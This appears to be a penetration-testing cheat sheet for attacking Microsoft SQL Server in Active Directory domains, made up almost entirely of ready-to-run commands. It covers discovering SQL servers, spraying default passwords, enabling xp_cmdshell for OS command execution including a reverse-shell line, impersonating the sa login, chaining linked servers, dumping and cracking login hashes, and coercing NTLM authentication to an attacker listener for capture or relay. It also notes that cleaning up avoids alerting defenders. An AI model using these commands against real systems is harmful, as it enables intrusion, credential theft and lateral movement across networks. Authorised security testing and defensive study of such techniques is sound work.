MSSQL in AD

Discover SQL servers via SPN enumeration, authenticate with Windows and SQL auth, abuse linked servers, xp_cmdshell, impersonation, and lateral movement through MSSQL in Active Directory environments.

Sections MSSQL in AD

You have domain credentials and want to find and exploit MSSQL servers. SQL Server is deeply integrated with AD through Kerberos authentication, SPNs, and linked servers. A Kerberoastable SQL service account or a misconfigured linked server chain can take you from low-privilege domain user to sysadmin on critical database servers.


Discovery

SPN-Based Discovery

Every SQL Server instance registers an SPN in AD. Query LDAP for MSSQLSvc SPNs to find all instances.

terminal
# ldapsearch
root@localhost:~# ldapsearch -x -H ldap://10.10.11.35 -D "svc_backup@corp.local" -w 'P@ssw0rd123' \
  -b "DC=corp,DC=local" "(servicePrincipalName=MSSQLSvc*)" sAMAccountName servicePrincipalName dNSHostName

# Impacket GetUserSPNs (also shows Kerberoastable SQL accounts)
root@localhost:~# impacket-GetUserSPNs corp.local/svc_backup:'P@ssw0rd123' -dc-ip 10.10.11.35 | grep -i mssql

# NetExec MSSQL discovery
root@localhost:~# netexec mssql 10.10.11.0/24 -u svc_backup -p 'P@ssw0rd123'
powershell
# PowerView
PS C:\> Get-DomainUser -SPN | Where-Object {$_.serviceprincipalname -like "*MSSQLSvc*"} | Select-Object samaccountname, serviceprincipalname

# AD Module
PS C:\> Get-ADUser -Filter {ServicePrincipalName -like "*MSSQLSvc*"} -Properties ServicePrincipalName | Select-Object SamAccountName, ServicePrincipalName

# PowerUpSQL
PS C:\> Get-SQLInstanceDomain | Select-Object ComputerName, Instance, DomainAccountSid

Network Scan

terminal
# Nmap for MSSQL default port
root@localhost:~# nmap -p 1433 -sV --open 10.10.11.0/24

# Nmap with MSSQL scripts
root@localhost:~# nmap -p 1433 --script ms-sql-info,ms-sql-config,ms-sql-ntlm-info 10.10.11.35

Authentication

Windows Authentication (Kerberos/NTLM)

terminal
# NetExec with domain creds
root@localhost:~# netexec mssql 10.10.11.40 -u svc_backup -p 'P@ssw0rd123' -d corp.local

# Impacket mssqlclient
root@localhost:~# impacket-mssqlclient corp.local/svc_backup:'P@ssw0rd123'@10.10.11.40 -windows-auth

# With NTLM hash
root@localhost:~# impacket-mssqlclient corp.local/svc_backup@10.10.11.40 -hashes :a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5 -windows-auth

# With Kerberos
root@localhost:~# export KRB5CCNAME=/tmp/svc_backup.ccache
root@localhost:~# impacket-mssqlclient corp.local/svc_backup@db01.corp.local -k -no-pass -windows-auth

SQL Authentication

terminal
# SQL auth (not domain-joined, uses SQL logins)
root@localhost:~# impacket-mssqlclient sa:'SQLAdm1n!'@10.10.11.40

# NetExec with local SQL auth
root@localhost:~# netexec mssql 10.10.11.40 -u sa -p 'SQLAdm1n!' --local-auth
powershell
# PowerUpSQL - test access
PS C:\> Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | Where-Object {$_.Status -eq "Accessible"}

# sqlcmd
PS C:\> sqlcmd -S db01.corp.local -E
PS C:\> sqlcmd -S db01.corp.local -U sa -P 'SQLAdm1n!'

Default and Common Credentials

terminal
# Spray common SQL passwords
root@localhost:~# netexec mssql 10.10.11.40 -u sa -p 'sa'
root@localhost:~# netexec mssql 10.10.11.40 -u sa -p ''
root@localhost:~# netexec mssql 10.10.11.40 -u sa -p 'Password1'
root@localhost:~# netexec mssql 10.10.11.40 -u sa -p 'SQLAdm1n!'

Enumeration Once Connected

terminal
# Inside mssqlclient
SQL> SELECT SYSTEM_USER;
SQL> SELECT USER_NAME();
SQL> SELECT IS_SRVROLEMEMBER('sysadmin');
SQL> SELECT name FROM master.sys.databases;
SQL> SELECT name FROM master.sys.server_principals;
SQL> SELECT * FROM master.sys.server_permissions;

# Check if xp_cmdshell is enabled
SQL> SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# List linked servers
SQL> EXEC sp_linkedservers;
SQL> SELECT * FROM sys.servers;

# Check impersonation
SQL> SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE';
SQL> SELECT DISTINCT b.name FROM sys.server_permissions a JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';
powershell
# PowerUpSQL enumeration
PS C:\> Get-SQLServerInfo -Instance db01.corp.local
PS C:\> Get-SQLDatabase -Instance db01.corp.local
PS C:\> Get-SQLServerLinkCrawl -Instance db01.corp.local
PS C:\> Get-SQLQuery -Instance db01.corp.local -Query "SELECT IS_SRVROLEMEMBER('sysadmin')"

Command Execution via xp_cmdshell

xp_cmdshell executes OS commands as the SQL Server service account. If the service runs as a domain account, you get domain-level access.

Enable and Use xp_cmdshell

terminal
# Enable xp_cmdshell (requires sysadmin)
SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Execute commands
SQL> EXEC xp_cmdshell 'whoami';
SQL> EXEC xp_cmdshell 'ipconfig';
SQL> EXEC xp_cmdshell 'net user /domain';

# Reverse shell
SQL> EXEC xp_cmdshell 'powershell -ep bypass -e <base64_payload>';

# NetExec (auto-enables xp_cmdshell)
root@localhost:~# netexec mssql 10.10.11.40 -u sa -p 'SQLAdm1n!' --local-auth -x "whoami"
root@localhost:~# netexec mssql 10.10.11.40 -u sa -p 'SQLAdm1n!' --local-auth -X "Get-Process"

Alternative Command Execution (No xp_cmdshell)

terminal
# OLE Automation Procedures
SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
SQL> EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
SQL> DECLARE @output INT; EXEC sp_OACreate 'WScript.Shell', @output OUT; EXEC sp_OAMethod @output, 'Run', NULL, 'cmd.exe /c whoami > C:\Temp\output.txt';

# CLR Assembly (compile and load a .NET assembly)
# SQL Agent Jobs (create a job that executes a command)
SQL> USE msdb; EXEC dbo.sp_add_job @job_name = 'cmdExec';
SQL> EXEC sp_add_jobstep @job_name = 'cmdExec', @step_name = 'Run', @subsystem = 'CmdExec', @command = 'whoami > C:\Temp\output.txt';
SQL> EXEC dbo.sp_add_jobserver @job_name = 'cmdExec';
SQL> EXEC dbo.sp_start_job @job_name = 'cmdExec';
If you enable xp_cmdshell, disable it after use. Leaving it enabled is a finding and may alert defenders. Always check the original configuration and restore it.

Impersonation

SQL Server allows certain logins to impersonate other logins. If you can impersonate sa, you effectively become sysadmin.

terminal
# Check who you can impersonate
SQL> SELECT DISTINCT b.name FROM sys.server_permissions a JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';

# Impersonate sa
SQL> EXECUTE AS LOGIN = 'sa';
SQL> SELECT SYSTEM_USER;
SQL> SELECT IS_SRVROLEMEMBER('sysadmin');

# Now enable xp_cmdshell as sa
SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
SQL> EXEC xp_cmdshell 'whoami';

# Revert
SQL> REVERT;

Linked Server Abuse

Linked servers allow one SQL Server to execute queries on another. If Server A links to Server B, and Server B links to Server C, you can chain queries across the entire link path. Permissions are often elevated on linked servers because the link is configured with a fixed credential.

terminal
SQL> EXEC sp_linkedservers;
SQL> SELECT name, provider, data_source FROM sys.servers WHERE is_linked = 1;

# Check who you are on the linked server
SQL> EXEC ('SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER(''sysadmin'')') AT [DB02.CORP.LOCAL];
powershell
# PowerUpSQL - crawl all linked servers
PS C:\> Get-SQLServerLinkCrawl -Instance db01.corp.local -Verbose
terminal
# Query through a single link
SQL> EXEC ('SELECT @@SERVERNAME') AT [DB02.CORP.LOCAL];

# Enable xp_cmdshell on the linked server
SQL> EXEC ('EXEC sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [DB02.CORP.LOCAL];
SQL> EXEC ('EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [DB02.CORP.LOCAL];
SQL> EXEC ('EXEC xp_cmdshell ''whoami''') AT [DB02.CORP.LOCAL];

# Chain through multiple links (double hop)
SQL> EXEC ('EXEC (''SELECT @@SERVERNAME'') AT [DB03.CORP.LOCAL]') AT [DB02.CORP.LOCAL];

# Triple hop
SQL> EXEC ('EXEC (''EXEC (''''SELECT @@SERVERNAME'''') AT [DB04.CORP.LOCAL]'') AT [DB03.CORP.LOCAL]') AT [DB02.CORP.LOCAL];
Linked server chains often escalate privileges because each link may use a different credential (sometimes sa). Check IS_SRVROLEMEMBER('sysadmin') at each hop. You might be a regular user on Server A but sysadmin on Server C through the link chain.

Credential Extraction from MSSQL

Read SQL Server Logins

terminal
# Dump SQL login hashes (requires sysadmin)
SQL> SELECT name, password_hash FROM sys.sql_logins;

# Crack SQL hashes with hashcat (mode 1731 for MSSQL 2012+)
# hashcat -m 1731 sql_hashes.txt wordlist.txt

Steal Service Account Credentials

terminal
# Force NTLM auth to your listener (captures the SQL service account hash)
SQL> EXEC xp_dirtree '\\10.10.14.5\share';

# Or
SQL> EXEC master..xp_subdirs '\\10.10.14.5\share';

# Catch with Responder or smbserver
root@localhost:~# sudo responder -I eth0
# Or
root@localhost:~# impacket-smbserver share /tmp -smb2support
xp_dirtree does not require sysadmin. Any user with EXECUTE permission can trigger NTLM authentication to your listener. This captures the NTLMv2 hash of the SQL Server service account, which you can crack or relay.

MSSQL Relay

NTLM authentication to MSSQL can be relayed to other services.

terminal
# Relay SQL Server NTLM auth to LDAP
root@localhost:~# impacket-ntlmrelayx -t ldap://10.10.11.35 --delegate-access

# Force SQL Server to auth to you
SQL> EXEC xp_dirtree '\\10.10.14.5\share';